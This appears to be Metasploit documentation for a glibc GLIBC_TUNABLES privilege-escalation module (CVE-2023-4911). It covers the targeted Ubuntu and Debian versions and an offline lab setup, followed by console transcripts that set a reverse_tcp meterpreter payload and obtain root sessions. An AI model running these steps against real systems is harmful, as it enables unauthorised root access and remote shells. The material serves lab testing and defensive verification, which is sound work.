## Vulnerable Application

A buffer overflow was exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment
variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when
launching binaries with SUID permission to execute code in the context of the root user. 

This module targets glibc packaged on Ubuntu and Debian. The specific versions this module targets are:

Ubuntu:
2.35-0ubuntu3.4 > 2.35
2.37-0ubuntu2.1 > 2.37
2.38-1ubuntu6 > 2.38

Debian: 
2.31-13-deb11u7 > 2.31
2.36-9-deb12u3 > 2.36

Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911
however this module does not target them.  

### Description

The GLIBC_TUNABLES environment variable is parsed in a loop and is expected to be provided in the following format:
`tunable1=aaa:tunable2=bbb`. If the variable is sent in the following format: `tunable1=tunable2=AAA` due to the
absence of the tunable delimiter `:` in the string, the value `tunable2=AAA` is handled incorrectly and results in a
buffer overflow.

### Setup

Install [Ubuntu 22.04.3](https://releases.ubuntu.com/jammy/ubuntu-22.04.3-desktop-amd64.iso) while ensuring the VM does 
not have internet access. 

Once booted up, edit `/etc/apt/apt.conf.d/20auto-upgrades` and change `APT::Periodic::Unattended-Upgrade` from `1` to
`0` to ensure to ensure the machine doesn't patch itself.

Ensure that glibc is at version 2.35-0ubuntu3.1 by running the following:
```
msfuser@msfuser-virtual-machine:~$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
```
The target should be exploitable.

## Verification Steps

1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/linux/local/glibc_tunables_priv_esc`
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new *root* session

## Scenarios

### Ubuntu 22.04.3 with 2.35-0ubuntu3.1 installed (ARCH_X64)
```
msf exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_tunables_priv_esc) > set session -1
session => -1
msf exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555
lport => 5555
msf exploit(linux/local/glibc_tunables_priv_esc) > options

Module options (exploit/linux/local/glibc_tunables_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION  -1               yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.123.1    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto

msf exploit(linux/local/glibc_tunables_priv_esc) > run

View the full module info with the info, or info -d command.

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable
[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Sending stage (3045380 bytes) to 192.168.123.228
[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.228:33016) at 2023-12-19 10:53:09 -0500

meterpreter >getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.123.228
OS           : Ubuntu 22.04 (Linux 6.2.0-35-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

```

### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64)
```
msf exploit(linux/local/glibc_tunables_priv_esc) > options

Module options (exploit/linux/local/glibc_tunables_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  -1               yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.123.1    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto



View the full module info with the info, or info -d command.

msf exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555
lport => 5555
msf exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf exploit(linux/local/glibc_tunables_priv_esc) > run

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.36-9+deb12u1) found on the target appears to be vulnerable
[+] The Build ID for ld.so: a99db3715218b641780b04323e4ae5953d68a927 is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Sending stage (3045380 bytes) to 192.168.123.229
[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.229:50370) at 2023-12-19 12:21:34 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : debian.test.com
OS           : Debian 12.1 (Linux 6.1.0-10-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
